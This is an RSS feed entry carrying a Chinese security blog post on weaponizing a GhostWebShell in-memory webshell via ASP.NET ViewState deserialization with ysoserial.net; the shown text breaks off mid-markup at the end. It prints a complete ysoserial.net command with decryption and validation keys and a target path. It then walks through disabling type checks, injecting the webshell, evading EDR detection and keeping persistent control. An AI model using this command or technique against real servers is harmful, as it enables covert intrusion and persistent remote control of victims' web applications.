<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>IndexSec</title>
    <link>https://wechat2rss.xlab.app/feed/bd7040862c701118e492f070f4abb58c52b8fb02.xml</link>
    <description>言之有物，一鞭一条痕，一掴一掌血&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (IndexSec)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/aXUpZVUYfjxATKLopAM0mGtC1O9BHvCWXzQocgZ2JghUa7G5YoSsf94n5ib2B15R5uXmuHic1nfHA/0</url>
      <title>IndexSec</title>
      <link>https://wechat2rss.xlab.app/feed/bd7040862c701118e492f070f4abb58c52b8fb02.xml</link>
    </image>
    <item>
      <title>寻找Http Module内存马并ysoserial.net武器化</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247484090&amp;idx=1&amp;sn=aca5c925bde1bd4b5a451717f14e489e</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2023-11-13 21:37</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c5917a68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmd2dnSZslX5eRcpIJHfNTbtpsbnJd5bibaORMHGMSBQwcDibNLTiagxmQA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">ysoserial.net加载过程</span></h2><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ysoserial.net使用Ghostwebshell命令如下</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c &#34;GhostWebshell.cs;System.dll;System.Web.dll;Microsoft.AspNet.FriendlyUrls.dll&#34; --decryptionalg=&#34;AES&#34; --decryptionkey=&#34;51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2&#34; --validationalg=&#34;HMACSHA256&#34; --validationkey=&#34;BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D&#34; --path=&#34;/login.aspx&#34; --apppath=&#34;/&#34; --isdebug</p></pre><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用ActivitySurrogateSelectorFromFile gadget</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">LosFormatter一般用于序列化存储视图流状态，多用于Web窗体，如ViewState。LosFormatter封装在System.Web.dll中，命名空间为System.Web.UI，使用LosFormatter反序列化不信任的数据会造成RCE</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如有反序列化source点，可以用binaryformatter序列化格式</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">````C:\CoolTools\ysoserial.net\ExploitClass\GhostWebShell.cs;```是文件地址，后面跟的是编译文件所需的dll</p></li></ul><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">nuget拉取项目依赖之后加入命令参数进行调试</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6444444444444445" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fec36ee6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmTyrGibbmv4LYec1068HYmtcbibylE5RufwCIHEBMSXWTRqLFzoG5wSYw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">项目入口在Program.cs的main函数中</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5314814814814814" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=020fff31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmzsibmmamlIxRpmGoGZz0BHOuQQY5Semhia8mz7eo6q0PeyfSpqsBPIiaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">紧接着获取当前程序域的所有加载的程序集类型</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">GPT time:`AppDomain.CurrentDomain.GetAssemblies().SelectMany(s =&gt; s.GetTypes())` 是一段代码，用于获取当前应用程序域（AppDomain）中加载的所有程序集的类型。在 .NET Framework 中，`AppDomain` 是一个应用程序的隔离边界，它包含了应用程序在运行时所需的各种资源，例如程序集、配置信息和安全策略。每个应用程序通常都有一个默认的应用程序域（CurrentDomain），可以通过 `AppDomain.CurrentDomain` 属性来访问。`GetAssemblies()` 方法是 `AppDomain` 类的一个成员方法，用于获取当前应用程序域中加载的所有程序集。它返回一个 `Assembly[]` 数组，包含了当前应用程序域中的所有程序集。`SelectMany(s =&gt; s.GetTypes())` 则是对获取到的程序集进行处理的一部分。`SelectMany()` 是 LINQ 扩展方法，用于将每个程序集中的类型集合合并为一个平面的序列。`s =&gt; s.GetTypes()` 是一个 lambda 表达式，表示对每个程序集 `s` 调用 `GetTypes()` 方法来获取该程序集中定义的所有类型。因此，`AppDomain.CurrentDomain.GetAssemblies().SelectMany(s =&gt; s.GetTypes())` 这段代码的最终结果将是一个包含当前应用程序域中加载的所有程序集中定义的所有类型的序列（IEnumerable&lt;Type&gt;）。通过这段代码，你可以遍历当前应用程序域中的所有类型，并对它们进行各种操作，例如反射、实例化、属性访问等。这对于一些需要动态处理和探索类型的场景非常有用，比如插件系统、反射性能分析等。</p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.03981481481481482" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7a4e8c21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmAtmpuVMdf1v48WjQicoUcXayc1sTxezibPbgIl9FtPsBoFQMtiaTnHarw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">接着根据条件筛选出加载器和插件以及格式</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.26296296296296295" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9fc1bd53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm6nf2cItcSQSLBc8bIicZ6xu0zBjSLm9mJHjhFkhtNRA1TpSiaIw3ibFYA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4444444444444444" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0d9aeaa3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmOqbttb70XmFb8aw3B0ianDqL5LGgibbKC5ZBibIZW8TfC3UiaLH18iaEGzw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.20636550308008214" data-s="300,640" style="" data-type="png" data-w="974" src="https://wechat2rss.xlab.app/img-proxy/?k=79ce4e7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmHSwNs5dn1ZNlgV888uiaSYvARt7qKpdqeia69Fiay4gOUTbska4JyVQdg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">紧接着根据提供的gadget参数添加链</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.41203703703703703" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d033a134&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmkY7piaPlD6jdeuXdgV7C9BEOqFal7ibvD8XRcoSeDZrue8E45anMhYng%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加序列化格式</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4212962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7ad5f7bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmYJpUMaAbAfDu4fRxQ5WpiaRibm1Ws33tTG0BibLzcibAZlUp3eibvkv179Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">设置generetor</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43425925925925923" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9a3d9961&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmVlZSLrlJ0l5a2biaXnEMYMibb6Igq4uiacUVR4wQRAJ8O7H4N2VgbaXIQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">接下来经过一些合法性判断</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">开始初始化generetor</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4305555555555556" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fe000d49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmWlHwWHSxfI8Bl0F7ibpRtj6gnlYkI2bvbkzcL6glAjULM8UGuZGIXTA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">解析参数，让我们进入ActivitySurrogateSelectorFromFileGenerator看一下</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.15" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d8654887&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmb0pw5GibeicJ3PyEwTHaf4TiaQEBU0n41ic2gBWw0hI3icRXp8jdZj1ZLVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">首先关闭活动代理选择器类型检查的功能</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.049074074074074076" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=080b00f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm63DqNGfjpVtqoDQacDibaj5lNhK8wg9HgwZiaQGYjntSIF8X7ZSiaAiatg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ActivitySurrogateSelector为不可序列化的类提供了包装器，微软为了修复这个问题添加了类型检查功能，这里将它关了</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以看到GhostWebshell中的类未标记可被序列化</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2601851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=276944a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmu7RnNiaaFCDa6AjLWXzcZvXrFOLlzl27yDhrlTkEXwDMqHFVU2IsvyA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">解析参数后用编译器将代码编译并返回结果byte[]，并将结果根据提供的序列化格式参数进行序列化并返回结果</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.05185185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d91ecad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmJkEibssYl8YPP44lmKmR8t4kwhxP0LicrpgK7NperDdSJgr0Eskiasmqg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">最后将base64后的结果输出</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2935185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0e6012f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmT7guwgrb341cypWXwBVZY3IZCCQpsnaycv15ywvhAGZpKZLwUroCMg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.20925925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=60dc34a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmjJpdz3iaJ4w1FLGSd7BSTExpnPbb6wAradnPFV9O53Uf7jmpVLPPqqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">接着转过头看</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">GhostWebshell，关键的语句如下</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.03425925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ebc32e63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmVXH2t8H1Z3ZVbibMRKbDbYru4OS9jt5okicGfAdQ219XMomejD4iaric1w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">将自定义的虚拟路径进行注册</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">通过viewstate请求ghostewbshell内存马，默认4.7.2版本，开启friendlyurls</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4083333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e8a90a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmvJ2BXcSxXnqZ29DPqHYqCkkriaYpd3lzMRupVQp1YhkQxza3tmQzasw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ban掉web.config中的类型检测</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.28888888888888886" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8592e198&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmnLctzR1SgfyHEAcaQ8Ywm4ianN7OrtMWKxvsicvEk2b3cVnREtzbAFmA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">注入成功，请求生成</p><div style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\vs\d06db0ae\5938043f\App_Web_1.aspx.f6cd8fc2.z-abnbdq.dll</p></div><div style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">以及<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">App_Web_ghostfile485.aspx.f6cd8fc2.cet1f-sj.0.cs</p>等文件</div><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5157407407407407" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0963a2db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmYgFEDibdOA1Gze2mqHdoVrBXkjOLzQs8Me5URx3fBqB5icScjicv6YbkA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">使用edr进行检测均未发现报毒</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">这里可以看到他本身还是添加一个新的vp路径把aspx放进去，访问后会生成dll方便持久化控制，如果只是viewstate中的代码，在一个请求的生命周期结束后，就会gg，这就是下面哥斯拉的这个攻击成功后很快下线的原因，如果要持续化，要把生成的payload放在左边添加数据中反复请求</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: 